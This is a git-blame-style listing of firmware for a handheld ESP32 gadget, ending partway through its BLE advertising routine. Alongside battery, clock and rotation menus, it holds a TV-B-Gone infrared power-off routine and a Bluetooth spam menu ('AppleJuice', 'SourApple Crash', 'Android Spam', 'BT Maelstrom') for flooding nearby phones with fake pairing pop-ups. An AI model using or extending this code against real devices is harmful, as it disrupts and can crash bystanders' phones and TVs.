int rmenu_size = sizeof(rmenu) / sizeof (MENU);
|
2023-09-21 05:13:04 +00:00
|
|
|
|
2023-11-13 06:19:16 +00:00
|
|
|
void rmenu_setup() {
|
|
|
|
cursor = 0;
|
|
|
|
rstOverride = true;
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(rmenu, rmenu_size);
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(500); // Prevent switching after menu loads up
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
|
|
|
|
void rmenu_loop() {
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-11-13 06:19:16 +00:00
|
|
|
cursor++;
|
2023-12-29 05:51:11 +00:00
|
|
|
cursor = cursor % rmenu_size;
|
|
|
|
drawmenu(rmenu, rmenu_size);
|
2023-11-13 06:19:16 +00:00
|
|
|
delay(250);
|
2023-09-27 13:29:27 +00:00
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()) {
|
2023-11-13 06:19:16 +00:00
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
rotation = rmenu[cursor].command;
|
|
|
|
DISP.setRotation(rotation);
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(USE_EEPROM)
|
2023-11-13 06:19:16 +00:00
|
|
|
EEPROM.write(0, rotation);
|
|
|
|
EEPROM.commit();
|
|
|
|
#endif
|
|
|
|
current_proc = 2;
|
2023-10-01 03:16:31 +00:00
|
|
|
}
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif //ROTATION
|
|
|
|
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(AXP)
|
2023-11-13 06:19:16 +00:00
|
|
|
/// BATTERY INFO ///
|
2023-12-29 05:52:02 +00:00
|
|
|
int oldbattery=0;
|
2023-11-13 06:19:16 +00:00
|
|
|
void battery_drawmenu(int battery, int b, int c) {
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setCursor(0, 8, 1);
|
|
|
|
DISP.print("Battery: ");
|
|
|
|
DISP.print(battery);
|
|
|
|
DISP.println("%");
|
|
|
|
DISP.print("DeltaB: ");
|
|
|
|
DISP.println(b);
|
|
|
|
DISP.print("DeltaC: ");
|
|
|
|
DISP.println(c);
|
|
|
|
DISP.println("");
|
|
|
|
DISP.println("Press any button to exit");
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
void battery_setup() {
|
2023-09-21 05:13:04 +00:00
|
|
|
rstOverride = false;
|
2023-11-13 06:19:16 +00:00
|
|
|
float c = M5.Axp.GetVapsData() * 1.4 / 1000;
|
|
|
|
float b = M5.Axp.GetVbatData() * 1.1 / 1000;
|
|
|
|
int battery = ((b - 3.0) / 1.2) * 100;
|
|
|
|
battery_drawmenu(battery, b, c);
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(500); // Prevent switching after menu loads up
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
|
|
|
|
2023-11-13 06:19:16 +00:00
|
|
|
void battery_loop() {
|
|
|
|
delay(300);
|
|
|
|
float c = M5.Axp.GetVapsData() * 1.4 / 1000;
|
|
|
|
float b = M5.Axp.GetVbatData() * 1.1 / 1000;
|
|
|
|
int battery = ((b - 3.0) / 1.2) * 100;
|
2023-12-29 05:52:02 +00:00
|
|
|
if (battery != oldbattery){
|
|
|
|
battery_drawmenu(battery, b, c);
|
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()) {
|
2023-11-13 06:19:16 +00:00
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
2023-12-29 05:51:11 +00:00
|
|
|
current_proc = 1;
|
2023-11-13 06:19:16 +00:00
|
|
|
}
|
2023-12-29 05:52:02 +00:00
|
|
|
oldbattery = battery;
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif // AXP
|
2023-09-21 05:13:04 +00:00
|
|
|
|
|
|
|
/// TV-B-GONE ///
|
|
|
|
void tvbgone_setup() {
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(BIG_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("TV-B-Gone");
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
2023-09-21 05:13:04 +00:00
|
|
|
irsend.begin();
|
|
|
|
// Hack: Set IRLED high to turn it off after setup. Otherwise it stays on (active low)
|
|
|
|
digitalWrite(IRLED, HIGH);
|
|
|
|
|
|
|
|
delay_ten_us(5000);
|
2023-09-29 00:36:37 +00:00
|
|
|
if(region == NA) {
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.print("Region:\nAmericas / Asia\n");
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
|
|
|
else {
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.println("Region: EMEA");
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
2023-11-14 03:52:46 +00:00
|
|
|
DISP.println("Select: Go/Pause");
|
|
|
|
DISP.println("Next: Exit");
|
2023-09-30 19:37:42 +00:00
|
|
|
delay(1000);
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void tvbgone_loop()
|
|
|
|
{
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()) {
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(250);
|
|
|
|
Serial.println("triggered TVBG");
|
2023-09-21 05:13:04 +00:00
|
|
|
sendAllCodes();
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-09-30 19:37:42 +00:00
|
|
|
/// TVBG-Region MENU ///
|
|
|
|
MENU tvbgmenu[] = {
|
2023-11-14 19:11:51 +00:00
|
|
|
{ "Back", 3},
|
2023-09-30 19:37:42 +00:00
|
|
|
{ "Americas / Asia", 0},
|
|
|
|
{ "EU/MidEast/Africa", 1},
|
|
|
|
};
|
2023-12-29 05:51:11 +00:00
|
|
|
int tvbgmenu_size = sizeof(tvbgmenu) / sizeof (MENU);
|
2023-09-30 19:37:42 +00:00
|
|
|
|
|
|
|
void tvbgmenu_setup() {
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(BIG_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("TV-B-Gone");
|
|
|
|
DISP.setTextSize(MEDIUM_TEXT);
|
|
|
|
DISP.println("Region");
|
2023-09-30 19:37:42 +00:00
|
|
|
cursor = region % 2;
|
|
|
|
rstOverride = true;
|
|
|
|
delay(1000);
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(tvbgmenu, tvbgmenu_size);
|
2023-09-30 19:37:42 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void tvbgmenu_loop() {
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-09-30 19:37:42 +00:00
|
|
|
cursor++;
|
2023-12-29 05:51:11 +00:00
|
|
|
cursor = cursor % tvbgmenu_size;
|
|
|
|
drawmenu(tvbgmenu, tvbgmenu_size);
|
2023-09-30 19:37:42 +00:00
|
|
|
delay(250);
|
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()) {
|
2023-09-30 19:37:42 +00:00
|
|
|
region = tvbgmenu[cursor].command;
|
2023-11-14 19:11:51 +00:00
|
|
|
|
|
|
|
if (region == 3) {
|
|
|
|
current_proc = 1;
|
|
|
|
isSwitching = true;
|
|
|
|
rstOverride = false;
|
|
|
|
return;
|
|
|
|
}
|
|
|
|
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(USE_EEPROM)
|
2023-11-13 06:19:16 +00:00
|
|
|
EEPROM.write(3, region);
|
|
|
|
EEPROM.commit();
|
|
|
|
#endif
|
2023-09-30 19:37:42 +00:00
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 5;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-11-18 06:55:47 +00:00
|
|
|
void sendAllCodes() {
|
2023-10-08 05:01:23 +00:00
|
|
|
bool endingEarly = false; //will be set to true if the user presses the button during code-sending
|
|
|
|
if (region == NA) {
|
|
|
|
num_codes = num_NAcodes;
|
|
|
|
} else {
|
|
|
|
num_codes = num_EUcodes;
|
|
|
|
}
|
|
|
|
for (i = 0 ; i < num_codes; i++)
|
|
|
|
{
|
|
|
|
if (region == NA) {
|
|
|
|
powerCode = NApowerCodes[i];
|
|
|
|
}
|
|
|
|
else {
|
|
|
|
powerCode = EUpowerCodes[i];
|
|
|
|
}
|
|
|
|
const uint8_t freq = powerCode->timer_val;
|
|
|
|
const uint8_t numpairs = powerCode->numpairs;
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(BIG_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("TV-B-Gone");
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
|
|
|
DISP.println("Front Key: Go/Pause");
|
2023-10-08 05:01:23 +00:00
|
|
|
const uint8_t bitcompression = powerCode->bitcompression;
|
|
|
|
code_ptr = 0;
|
|
|
|
for (uint8_t k = 0; k < numpairs; k++) {
|
|
|
|
uint16_t ti;
|
|
|
|
ti = (read_bits(bitcompression)) * 2;
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(ACTIVE_LOW_IR)
|
2023-10-08 15:01:45 +00:00
|
|
|
offtime = powerCode->times[ti]; // read word 1 - ontime
|
|
|
|
ontime = powerCode->times[ti + 1]; // read word 2 - offtime
|
|
|
|
#else
|
|
|
|
ontime = powerCode->times[ti]; // read word 1 - ontime
|
|
|
|
offtime = powerCode->times[ti + 1]; // read word 2 - offtime
|
|
|
|
#endif
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(TINY_TEXT);
|
|
|
|
DISP.printf("rti = %d Pair = %d, %d\n", ti >> 1, ontime, offtime);
|
2023-11-18 06:55:47 +00:00
|
|
|
Serial.printf("TVBG: rti = %d Pair = %d, %d\n", ti >> 1, ontime, offtime);
|
2023-10-08 05:01:23 +00:00
|
|
|
rawData[k * 2] = offtime * 10;
|
|
|
|
rawData[(k * 2) + 1] = ontime * 10;
|
|
|
|
}
|
|
|
|
irsend.sendRaw(rawData, (numpairs * 2) , freq);
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(ACTIVE_LOW_IR)
|
2023-11-13 06:19:16 +00:00
|
|
|
// Set Active Low IRLED high to turn it off after each burst.
|
2023-10-08 15:01:45 +00:00
|
|
|
digitalWrite(IRLED, HIGH);
|
|
|
|
#endif
|
2023-10-08 05:01:23 +00:00
|
|
|
bitsleft_r = 0;
|
|
|
|
delay_ten_us(20500);
|
2023-11-14 00:32:50 +00:00
|
|
|
#if defined(AXP)
|
2023-11-18 06:55:47 +00:00
|
|
|
if (M5.Axp.GetBtnPress()) {
|
2023-10-08 05:01:23 +00:00
|
|
|
endingEarly = true;
|
|
|
|
current_proc = 1;
|
|
|
|
isSwitching = true;
|
|
|
|
rstOverride = false;
|
|
|
|
break;
|
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif
|
2023-11-18 06:55:47 +00:00
|
|
|
#if defined(KB)
|
|
|
|
#endif
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()){
|
2023-11-18 06:55:47 +00:00
|
|
|
Serial.println("endingearly");
|
2023-10-08 05:01:23 +00:00
|
|
|
endingEarly = true;
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(250);
|
2023-10-08 05:01:23 +00:00
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
if (endingEarly == false)
|
|
|
|
{
|
|
|
|
delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
|
|
|
|
delay_ten_us(MAX_WAIT_TIME); // wait 655.350ms
|
|
|
|
quickflashLEDx(8);
|
|
|
|
}
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(BIG_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("TV-B-Gone");
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
2023-11-14 03:52:46 +00:00
|
|
|
DISP.println("Select: Go/Pause");
|
|
|
|
DISP.println("Next: Exit");
|
2023-10-08 05:01:23 +00:00
|
|
|
}
|
|
|
|
|
2023-09-21 05:13:04 +00:00
|
|
|
/// CLOCK ///
|
2023-12-29 05:51:11 +00:00
|
|
|
/// TIMESET ///
|
2023-09-22 05:01:25 +00:00
|
|
|
|
2023-12-28 16:56:27 +00:00
|
|
|
#if defined(RTC)
|
|
|
|
void clock_setup() {
|
|
|
|
DISP.fillScreen(BGCOLOR);
|
|
|
|
DISP.setTextSize(MEDIUM_TEXT);
|
|
|
|
}
|
|
|
|
|
|
|
|
void clock_loop() {
|
|
|
|
M5.Rtc.GetBm8563Time();
|
|
|
|
DISP.setCursor(40, 40, 2);
|
|
|
|
DISP.printf("%02d:%02d:%02d\n", M5.Rtc.Hour, M5.Rtc.Minute, M5.Rtc.Second);
|
|
|
|
delay(250);
|
|
|
|
}
|
|
|
|
|
2023-11-13 06:19:16 +00:00
|
|
|
/// TIME SETTING ///
|
|
|
|
void timeset_setup() {
|
|
|
|
rstOverride = true;
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setCursor(0, 5, 1);
|
|
|
|
DISP.println("SET HOUR");
|
|
|
|
delay(2000);
|
|
|
|
}
|
2023-09-22 05:01:25 +00:00
|
|
|
|
2023-11-13 06:19:16 +00:00
|
|
|
void timeset_loop() {
|
|
|
|
M5.Rtc.GetBm8563Time();
|
|
|
|
cursor = M5.Rtc.Hour;
|
2023-12-29 05:51:11 +00:00
|
|
|
number_drawmenu(24);
|
2023-11-13 06:19:16 +00:00
|
|
|
while(digitalRead(M5_BUTTON_HOME) == HIGH) {
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-11-13 06:19:16 +00:00
|
|
|
cursor++;
|
|
|
|
cursor = cursor % 24 ;
|
2023-12-29 05:51:11 +00:00
|
|
|
number_drawmenu(24);
|
2023-11-13 06:19:16 +00:00
|
|
|
delay(100);
|
|
|
|
}
|
2023-09-22 05:01:25 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
int hour = cursor;
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setCursor(0, 5, 1);
|
|
|
|
DISP.println("SET MINUTE");
|
|
|
|
delay(2000);
|
|
|
|
cursor = M5.Rtc.Minute;
|
2023-12-29 05:51:11 +00:00
|
|
|
number_drawmenu(60);
|
2023-11-13 06:19:16 +00:00
|
|
|
while(digitalRead(M5_BUTTON_HOME) == HIGH) {
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-11-13 06:19:16 +00:00
|
|
|
cursor++;
|
|
|
|
cursor = cursor % 60 ;
|
2023-12-29 05:51:11 +00:00
|
|
|
number_drawmenu(60);
|
2023-11-13 06:19:16 +00:00
|
|
|
delay(100);
|
|
|
|
}
|
2023-09-22 05:01:25 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
int minute = cursor;
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setCursor(0, 5, 1);
|
|
|
|
RTC_TimeTypeDef TimeStruct;
|
|
|
|
TimeStruct.Hours = hour;
|
|
|
|
TimeStruct.Minutes = minute;
|
|
|
|
TimeStruct.Seconds = 0;
|
|
|
|
M5.Rtc.SetTime(&TimeStruct);
|
|
|
|
DISP.printf("Setting Time:\n%02d:%02d:00",hour,minute);
|
|
|
|
delay(2000);
|
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 0;
|
2023-09-22 05:01:25 +00:00
|
|
|
}
|
2023-11-13 06:19:16 +00:00
|
|
|
#endif // RTC
|
2023-09-22 05:01:25 +00:00
|
|
|
|
2023-11-12 00:32:44 +00:00
|
|
|
/// Bluetooth Spamming ///
|
|
|
|
/// BTSPAM MENU ///
|
|
|
|
MENU btmenu[] = {
|
2023-12-28 18:59:41 +00:00
|
|
|
{ "Back", 5},
|
2023-11-12 00:32:44 +00:00
|
|
|
{ "AppleJuice", 0},
|
|
|
|
{ "Swift Pair", 1},
|
2023-12-28 18:59:41 +00:00
|
|
|
{ "Android Spam", 4},
|
2023-11-12 00:32:44 +00:00
|
|
|
{ "SourApple Crash", 2},
|
|
|
|
{ "BT Maelstrom", 3},
|
|
|
|
};
|
2023-12-29 05:51:11 +00:00
|
|
|
int btmenu_size = sizeof(btmenu) / sizeof (MENU);
|
2023-11-12 00:32:44 +00:00
|
|
|
|
|
|
|
void btmenu_setup() {
|
|
|
|
cursor = 0;
|
|
|
|
sourApple = false;
|
|
|
|
swiftPair = false;
|
|
|
|
maelstrom = false;
|
2023-12-28 18:59:41 +00:00
|
|
|
androidPair = false;
|
2023-11-12 00:32:44 +00:00
|
|
|
rstOverride = true;
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(btmenu, btmenu_size);
|
2023-11-18 06:55:47 +00:00
|
|
|
delay(500); // Prevent switching after menu loads up
|
2023-11-12 00:32:44 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void btmenu_loop() {
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-11-12 00:32:44 +00:00
|
|
|
cursor++;
|
2023-12-29 05:51:11 +00:00
|
|
|
cursor = cursor % btmenu_size;
|
|
|
|
drawmenu(btmenu, btmenu_size);
|
2023-11-12 00:32:44 +00:00
|
|
|
delay(250);
|
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press()) {
|
2023-11-12 00:32:44 +00:00
|
|
|
int option = btmenu[cursor].command;
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(MEDIUM_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("BT Spam");
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
|
|
|
DISP.print("Advertising:\n");
|
2023-11-12 00:32:44 +00:00
|
|
|
|
|
|
|
switch(option) {
|
|
|
|
case 0:
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-12 00:32:44 +00:00
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 8;
|
|
|
|
break;
|
|
|
|
case 1:
|
|
|
|
swiftPair = true;
|
|
|
|
current_proc = 9; // jump straight to appleJuice Advertisement
|
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.print("Swift Pair Random");
|
2023-11-14 03:52:46 +00:00
|
|
|
DISP.print("\n\nNext: Exit");
|
2023-11-12 00:32:44 +00:00
|
|
|
break;
|
|
|
|
case 2:
|
|
|
|
sourApple = true;
|
|
|
|
current_proc = 9; // jump straight to appleJuice Advertisement
|
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.print("SourApple Crash");
|
2023-11-14 03:52:46 +00:00
|
|
|
DISP.print("\n\nNext: Exit");
|
2023-11-12 00:32:44 +00:00
|
|
|
break;
|
|
|
|
case 3:
|
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 17; // Maelstrom
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.print("Bluetooth Maelstrom\n");
|
|
|
|
DISP.print(" Combined BT Spam");
|
2023-11-14 03:52:46 +00:00
|
|
|
DISP.print("\n\nNext: Exit");
|
2023-11-12 00:32:44 +00:00
|
|
|
break;
|
|
|
|
case 4:
|
2023-12-28 18:59:41 +00:00
|
|
|
androidPair = true;
|
|
|
|
current_proc = 9; // jump straight to appleJuice Advertisement
|
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
DISP.print("Android Spam");
|
|
|
|
DISP.print("\n\nNext: Exit");
|
|
|
|
break;
|
|
|
|
|
|
|
|
case 5:
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-12 00:32:44 +00:00
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 1;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
2023-09-21 05:13:04 +00:00
|
|
|
MENU ajmenu[] = {
|
2023-11-14 19:11:51 +00:00
|
|
|
{ "Back", 29},
|
2023-09-21 05:13:04 +00:00
|
|
|
{ "AirPods", 1},
|
2023-10-07 19:59:57 +00:00
|
|
|
{ "Transfer Number", 27},
|
2023-09-22 02:55:41 +00:00
|
|
|
{ "AirPods Pro", 2},
|
|
|
|
{ "AirPods Max", 3},
|
|
|
|
{ "AirPods G2", 4},
|
|
|
|
{ "AirPods G3", 5},
|
|
|
|
{ "AirPods Pro G2", 6},
|
|
|
|
{ "PowerBeats", 7},
|
|
|
|
{ "PowerBeats Pro", 8},
|
|
|
|
{ "Beats Solo Pro", 9},
|
|
|
|
{ "Beats Studio Buds", 10},
|
|
|
|
{ "Beats Flex", 11},
|
|
|
|
{ "Beats X", 12},
|
|
|
|
{ "Beats Solo 3", 13},
|
|
|
|
{ "Beats Studio 3", 14},
|
|
|
|
{ "Beats Studio Pro", 15},
|
|
|
|
{ "Beats Fit Pro", 16},
|
|
|
|
{ "Beats Studio Buds+", 17},
|
|
|
|
{ "AppleTV Setup", 18},
|
|
|
|
{ "AppleTV Pair", 19},
|
|
|
|
{ "AppleTV New User", 20},
|
|
|
|
{ "AppleTV AppleID", 21},
|
|
|
|
{ "AppleTV Audio", 22},
|
|
|
|
{ "AppleTV HomeKit", 23},
|
|
|
|
{ "AppleTV Keyboard", 24},
|
|
|
|
{ "AppleTV Network", 25},
|
|
|
|
{ "TV Color Balance", 26},
|
|
|
|
{ "Setup New Phone", 28},
|
2023-09-21 05:13:04 +00:00
|
|
|
};
|
2023-12-29 05:51:11 +00:00
|
|
|
int ajmenu_size = sizeof(ajmenu) / sizeof (MENU);
|
2023-09-21 05:13:04 +00:00
|
|
|
|
|
|
|
void aj_setup(){
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(MEDIUM_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("AppleJuice");
|
2023-09-21 05:13:04 +00:00
|
|
|
delay(1000);
|
|
|
|
cursor = 0;
|
2023-10-07 19:59:57 +00:00
|
|
|
sourApple = false;
|
2023-11-12 00:32:44 +00:00
|
|
|
swiftPair = false;
|
|
|
|
maelstrom = false;
|
2023-09-21 05:13:04 +00:00
|
|
|
rstOverride = true;
|
2023-12-29 05:51:11 +00:00
|
|
|
drawmenu(ajmenu, ajmenu_size);
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
|
|
|
|
|
|
|
void aj_loop(){
|
2023-11-12 00:32:44 +00:00
|
|
|
if (!maelstrom){
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_next_press()) {
|
2023-11-12 00:32:44 +00:00
|
|
|
cursor++;
|
2023-12-29 05:51:11 +00:00
|
|
|
cursor = cursor % ajmenu_size;
|
|
|
|
drawmenu(ajmenu, ajmenu_size);
|
2023-11-12 00:32:44 +00:00
|
|
|
delay(100);
|
|
|
|
}
|
2023-09-21 05:13:04 +00:00
|
|
|
}
|
2023-11-13 23:38:50 +00:00
|
|
|
if (check_select_press() || maelstrom) {
|
2023-09-22 02:55:41 +00:00
|
|
|
deviceType = ajmenu[cursor].command;
|
2023-11-12 00:32:44 +00:00
|
|
|
if (maelstrom) {
|
|
|
|
deviceType = random(1, 28);
|
|
|
|
}
|
2023-09-21 05:13:04 +00:00
|
|
|
switch(deviceType) {
|
|
|
|
case 1:
|
|
|
|
data = Airpods;
|
|
|
|
break;
|
|
|
|
case 2:
|
2023-09-22 02:55:41 +00:00
|
|
|
data = AirpodsPro;
|
2023-09-21 05:13:04 +00:00
|
|
|
break;
|
|
|
|
case 3:
|
2023-09-22 02:55:41 +00:00
|
|
|
data = AirpodsMax;
|
2023-09-21 05:13:04 +00:00
|
|
|
break;
|
|
|
|
case 4:
|
2023-09-22 02:55:41 +00:00
|
|
|
data = AirpodsGen2;
|
2023-09-21 05:13:04 +00:00
|
|
|
break;
|
|
|
|
case 5:
|
2023-09-22 02:55:41 +00:00
|
|
|
data = AirpodsGen3;
|
2023-09-21 05:13:04 +00:00
|
|
|
break;
|
|
|
|
case 6:
|
2023-09-22 02:55:41 +00:00
|
|
|
data = AirpodsProGen2;
|
2023-09-21 05:13:04 +00:00
|
|
|
break;
|
|
|
|
case 7:
|
2023-09-22 02:55:41 +00:00
|
|
|
data = PowerBeats;
|
|
|
|
break;
|
|
|
|
case 8:
|
|
|
|
data = PowerBeatsPro;
|
|
|
|
break;
|
|
|
|
case 9:
|
|
|
|
data = BeatsSoloPro;
|
|
|
|
break;
|
|
|
|
case 10:
|
|
|
|
data = BeatsStudioBuds;
|
|
|
|
break;
|
|
|
|
case 11:
|
|
|
|
data = BeatsFlex;
|
|
|
|
break;
|
|
|
|
case 12:
|
|
|
|
data = BeatsX;
|
|
|
|
break;
|
|
|
|
case 13:
|
|
|
|
data = BeatsSolo3;
|
|
|
|
break;
|
|
|
|
case 14:
|
|
|
|
data = BeatsStudio3;
|
|
|
|
break;
|
|
|
|
case 15:
|
|
|
|
data = BeatsStudioPro;
|
|
|
|
break;
|
|
|
|
case 16:
|
|
|
|
data = BeatsFitPro;
|
|
|
|
break;
|
|
|
|
case 17:
|
|
|
|
data = BeatsStudioBudsPlus;
|
|
|
|
break;
|
|
|
|
case 18:
|
|
|
|
data = AppleTVSetup;
|
|
|
|
break;
|
|
|
|
case 19:
|
|
|
|
data = AppleTVPair;
|
|
|
|
break;
|
|
|
|
case 20:
|
|
|
|
data = AppleTVNewUser;
|
|
|
|
break;
|
|
|
|
case 21:
|
|
|
|
data = AppleTVAppleIDSetup;
|
|
|
|
break;
|
|
|
|
case 22:
|
|
|
|
data = AppleTVWirelessAudioSync;
|
|
|
|
break;
|
|
|
|
case 23:
|
|
|
|
data = AppleTVHomekitSetup;
|
|
|
|
break;
|
|
|
|
case 24:
|
|
|
|
data = AppleTVKeyboard;
|
|
|
|
break;
|
|
|
|
case 25:
|
|
|
|
data = AppleTVConnectingToNetwork;
|
|
|
|
break;
|
|
|
|
case 26:
|
|
|
|
data = TVColorBalance;
|
|
|
|
break;
|
|
|
|
case 27:
|
|
|
|
data = TransferNumber;
|
|
|
|
break;
|
|
|
|
case 28:
|
|
|
|
data = SetupNewPhone;
|
|
|
|
break;
|
|
|
|
case 29:
|
2023-09-21 05:13:04 +00:00
|
|
|
rstOverride = false;
|
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 1;
|
|
|
|
break;
|
|
|
|
}
|
|
|
|
if (current_proc == 8 && isSwitching == false){
|
2023-11-23 17:03:33 +00:00
|
|
|
DISP.fillScreen(BGCOLOR);
|
2023-11-13 06:19:16 +00:00
|
|
|
DISP.setTextSize(MEDIUM_TEXT);
|
|
|
|
DISP.setCursor(5, 1);
|
|
|
|
DISP.println("AppleJuice");
|
|
|
|
DISP.setTextSize(SMALL_TEXT);
|
|
|
|
DISP.print("Advertising:\n");
|
|
|
|
DISP.print(ajmenu[cursor].name);
|
2023-11-14 03:52:46 +00:00
|
|
|
DISP.print("\n\nNext: Exit");
|
2023-09-21 05:13:04 +00:00
|
|
|
isSwitching = true;
|
|
|
|
current_proc = 9; // Jump over to the AppleJuice BLE beacon loop
|
|
|
|
}
|
|
|
|
}
|
|
|
|
}
|
|
|
|
|
|
|
|
void aj_adv_setup(){
|
|
|
|
rstOverride = false;
|
|
|
|
}
|
|
|
|
|
|
|
|
void aj_adv(){
|
|
|
|
// run the advertising loop
|
|
|
|
// Isolating this to its own process lets us take advantage
|
|
|
|
// of the background stuff easier (menu button, dimmer, etc)
|
2023-09-22 18:44:29 +00:00
|
|
|
rstOverride = true;
|
2023-12-28 18:59:41 +00:00
|
|
|
if (sourApple || swiftPair || androidPair || maelstrom){
|
2023-10-08 03:43:20 +00:00
|
|
|
delay(20); // 20msec delay instead of ajDelay for SourApple attack
|
|
|
|
advtime = 0; // bypass ajDelay counter
|
|
|
|
}
|
|
|
|
if (millis() > advtime + ajDelay){
|
|
|
|
advtime = millis();
|
2023-09-26 22:00:14 +00:00
|
|
|
pAdvertising->stop(); // This is placed here mostly for timing.
|
|
|
|
// It allows the BLE beacon to run through the loop.
|
2023-09-22 18:44:29 +00:00
|
|
|
BLEAdvertisementData oAdvertisementData = BLEAdvertisementData();
|
2023-10-07 19:59:57 +00:00
|
|
|
